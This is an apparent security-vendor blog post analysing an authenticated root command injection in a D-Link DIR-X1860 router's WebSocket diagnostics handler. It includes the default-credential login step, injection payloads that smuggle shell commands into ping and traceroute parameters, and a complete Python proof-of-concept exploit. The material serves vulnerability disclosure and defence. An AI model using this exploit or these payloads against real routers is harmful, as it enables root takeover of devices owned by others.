Automated Threat Modeling

Quick Look: D-Link DIR-X1860 CVE-2026-135788 anweb WebSocket OS Command Injection (with PoC)

A short look at CVE-2026-135788, an authenticated OS command injection in the D-Link DIR-X1860 anweb WebSocket diagnostics handler that runs commands as root, with a review of the public proof of concept.

CVE Analysis

8 min read

Gaurav Sarraf
Gaurav Sarraf

2026-11-24

Quick Look: D-Link DIR-X1860 CVE-2026-135788 anweb WebSocket OS Command Injection (with PoC)

Introduction

A diagnostics feature meant to let administrators run a simple ping or traceroute from a D-Link DIR-X1860 router hands attacker-controlled text straight to a root shell. On the affected DIR-X1860 running firmware 4.5.2, an authenticated request to the router's WebSocket diagnostics handler yields command execution as uid=0, and a self-contained public exploit is already available.

The DIR-X1860 is a consumer AX1800 Wi-Fi 6 router from D-Link, a networking vendor that has shipped adapters, switches, routers, wireless access products, and cameras since its origins as Datex Systems in 1986. This post reviews CVE-2026-135788 based on the original researcher disclosure and the associated vulnerability database records.

Technical Information

The affected binary is /usr/sbin/anweb, a MIPS executable that runs as root on firmware 4.5.2 for model DIR_X1860_MT7621_NON4RU (the anweb image carries MD5 fb34cdc58de9a93313a3e709372f2a26). The CVE description generically labels the affected functionality unknown, but the original disclosure by researcher nenghun identifies it precisely: the sysutils action handler, exposed through /websocket.

Root cause

anweb provides a diagnostics feature over a WebSocket. The sysutils handler builds shell command strings for ping and traceroute and runs them through popen(), which invokes /bin/sh -c. The handler whitelists most parameters (-c, -s, -W for ping; -q, -m, -w for traceroute) and rejects unexpected values with incorrect_params. Two parameters escape that validation:

  • the -I interface parameter for ping
  • the -s source parameter for traceroute

These values are concatenated verbatim into the command string with no validation, quoting, or escaping. Because the result is passed to /bin/sh -c, shell metacharacters are interpreted as command syntax. A ; in the value breaks out of the ping or traceroute call and runs arbitrary commands. This matches CWE-77 (Command Injection) and the more specific CWE-78 (OS Command Injection), both recorded for this CVE.

The researcher captured the exact string handed to the shell by reading back /proc/$$/cmdline:

sh -c unset DEUTERON_SERVICE_ID; ping 127.0.0.1 -c 1 -I x;cat /proc/$$/cmdline>/tmp/cl2;:

Authentication prerequisite

The WebSocket upgrade itself requires no authentication, but the sysutils action does. It rejects requests without a valid DMSD-Access-Token cookie. This is an authenticated flaw, not a demonstrated authentication bypass. The complication on a factory-default device is that the credential admin/admin is compiled into the binary, so a single plaintext POST /login returns an AccessToken valid for 300 seconds. The injection also remains exploitable after the administrator changes the password: it is a defect independent of the default credential, so a password change alone does not repair it.

Attack flow

  1. Send POST /login with {"login":"admin","password":"admin","staysigned":false} and obtain the AccessToken.
  2. Perform a GET /websocket upgrade carrying Cookie: DMSD-Access-Token=<token>, receiving 101 Switching Protocols.
  3. Send the text frame init 1.
  4. Send the injection message (90 bytes, within the measured 128 byte limit) through the unvalidated -I parameter.

The injected sysutils request looks like this:

sysutils:{"method":"ping","params":{"host":"127.0.0.1","-c":"1","-I":"x;echo PINGINJ;id"}}

The server then executes:

sh -c "unset DEUTERON_SERVICE_ID; ping 127.0.0.1 -c 1 -I x;echo PINGINJ;id"

and streams the output back:

sysutils:{"method":"ping","result":{"message":"PINGINJ\n"}} sysutils:{"method":"ping","result":{"message":"uid=0(root) gid=0(root)\n"}} sysutils:{"method":"ping","result":{"end":true}}

The same primitive works via traceroute with "-s":"x;echo TRACE_s". The traceroute path returns immediately, whereas the invalid ping interface value x imposes a roughly 10 to 11 second busybox timeout before the injected commands run. Arbitrary file write was also demonstrated with x;echo RCEPROOF > /tmp/OWNED.

Scoring

The published CVSS 3.1 base score is 9.9 Critical with vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P/RL:X/RC:R. The CVSS 4.0 base score is 9.4 Critical with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P. The NVD-displayed CNA CVSS 4.0 BT value of 8.6 High incorporates Base and Threat metrics with E:P (proof of concept exploit maturity), and VulDB separately records a 9.0 temporal score. These are not contradictory measurements on an identical basis. Both vectors specify network access, low attack complexity, required privileges, and no user interaction, consistent with the researcher's finding that a valid token is needed.

Proof of Concept

A complete Python 3 standard-library-only exploit, poc.py, is published and run as python3 poc.py <router-ip>. It performs the login with the compile-time default credential, upgrades to the WebSocket, applies minimal masked WebSocket framing, and injects through the -I parameter:

#!/usr/bin/env python3 # D-Link DIR-X1860 anweb /websocket sysutils command injection (root) import base64, json, os, re, socket, struct, sys, urllib.request host = sys.argv[1] if len(sys.argv) > 1 else '192.168.0.1' # --- 1. login with the compile-time default credential --- req = urllib.request.Request( 'http://%s/login' % host, data=json.dumps({"login": "admin", "password": "admin", "staysigned": False}).encode(), headers={'Content-Type': 'application/json'}, method='POST') body = urllib.request.urlopen(req, timeout=30).read().decode() token = re.search(r'"AccessToken"\s*:\s*"([^"]+)"', body).group(1) # --- 2. WebSocket upgrade --- s = socket.create_connection((host, 80), timeout=10) key = base64.b64encode(os.urandom(16)).decode() s.sendall(("GET /websocket HTTP/1.1\r\nHost: %s\r\nUpgrade: websocket\r\n" "Connection: Upgrade\r\nSec-WebSocket-Key: %s\r\n" "Sec-WebSocket-Version: 13\r\nOrigin: http://%s\r\n" "Cookie: DMSD-Access-Token=%s\r\n\r\n" % (host, key, host, token)).encode()) buf = b'' while b'\r\n\r\n' not in buf: buf += s.recv(4096) def send(msg): p = msg.encode(); m = os.urandom(4) s.sendall(bytes([0x81, 0x80 | len(p)]) + m + bytes(b ^ m[i % 4] for i, b in enumerate(p))) def recv(): h = s.recv(2) n = h[1] & 0x7f if n == 126: n = struct.unpack('>H', s.recv(2))[0] d = b'' while len(d) < n: d += s.recv(n - len(d)) return d.decode('utf-8', 'replace') # --- inject through the unvalidated "-I" parameter --- send('init 1') send('sysutils:{"method":"ping","params":{"host":"127.0.0.1","-c":"1",' '"-I":"x;echo PINGINJ;id"}}') for _ in range(40): t = recv() if t.startswith('title '): continue print(t) if '"end":true' in t: break

Verification status and caveat. The researcher validated the exploit on 2026-10-17 using full-system firmware emulation (QEMU qemu-system-mipsel -M malta, FirmAE, rootfs extracted from the vendor image) rather than physical hardware, and explicitly recommends hardware confirmation. The write-up includes measured request and response captures, ground-truth /proc/<pid>/cmdline evidence, negative controls proving the whitelist behavior, and root (uid=0(root)) command execution. VulDB independently lists the exploit as public with status Proof of Concept. The evidence does not establish reachability from the public Internet.

Affected Systems and Versions

  • Model: D-Link DIR-X1860, specifically the variant identified as DIR_X1860_MT7621_NON4RU in the disclosure.
  • Firmware: 4.5.2 (anweb MD5 fb34cdc58de9a93313a3e709372f2a26).
  • Component: /usr/sbin/anweb, sysutils action handler exposed at /websocket.

This disclosure does not establish other firmware versions and hardware variants as affected. D-Link's advisories distinguish the non-US DIR-X1860 from the DIR-X1860Z and warn against interchanging firmware between them, so confirm the exact model, hardware revision, and regional firmware before relying on any advisory guidance.

Vendor Security History

In January 2017, the US Federal Trade Commission alleged that D-Link failed to take reasonable steps to secure its routers and Internet-connected cameras. The allegations included hard-coded camera credentials, a command injection flaw that could enable remote router takeover, mishandling of a private signing key, and cleartext storage of mobile application credentials. These were allegations in litigation, not findings about CVE-2026-135788. The July 2, 2019 settlement required a comprehensive software security program covering security planning, threat modeling, vulnerability testing before release, ongoing monitoring, automatic firmware updates, acceptance of researcher vulnerability reports, and independent assessments every two years for 10 years. The FTC announcement describes allegations and a settlement and does not state that D-Link admitted them. The lesson here is that a formal security program can coexist with later reports of command injection defects like this one.

For lifecycle context, D-Link's SAP10283 addresses older DIR-X1860 A1/Ax vulnerabilities in firmware v1.03 and below and lists v1.10WWB09_Beta as a hotfix, but those predate this report and do not constitute a fix for firmware 4.5.2. SAP10513 lists the non-US DIR-X1860 (all hardware revisions) as EOL/EOS with no fixed release for the issues it covers and recommends retirement, while providing a fix only for the separately reported DIR-X1860Z issues. Neither advisory references CVE-2026-135788 or firmware 4.5.2.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization